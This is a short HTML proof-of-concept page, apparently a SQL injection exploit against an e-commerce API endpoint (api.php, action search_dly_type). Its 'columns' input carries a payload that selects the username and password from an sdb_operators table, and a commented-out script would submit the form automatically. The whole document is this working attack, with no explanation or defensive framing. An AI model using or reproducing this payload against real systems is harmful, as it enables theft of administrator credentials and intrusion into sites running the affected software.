<form method='post' action='https://www.webshell.cc/api.php?act=search_dly_type&api_version=1.0'>

columns:<input type='text' value='1,2,(SELECT concat(username,0x7c,userpass) FROM sdb_operators limit 0,1) as name' name='columns' style='width:80%'/><br />

<input type='submit' value='submit' /><br />

</form>

<script>

//document.forms[0].submit()

</script>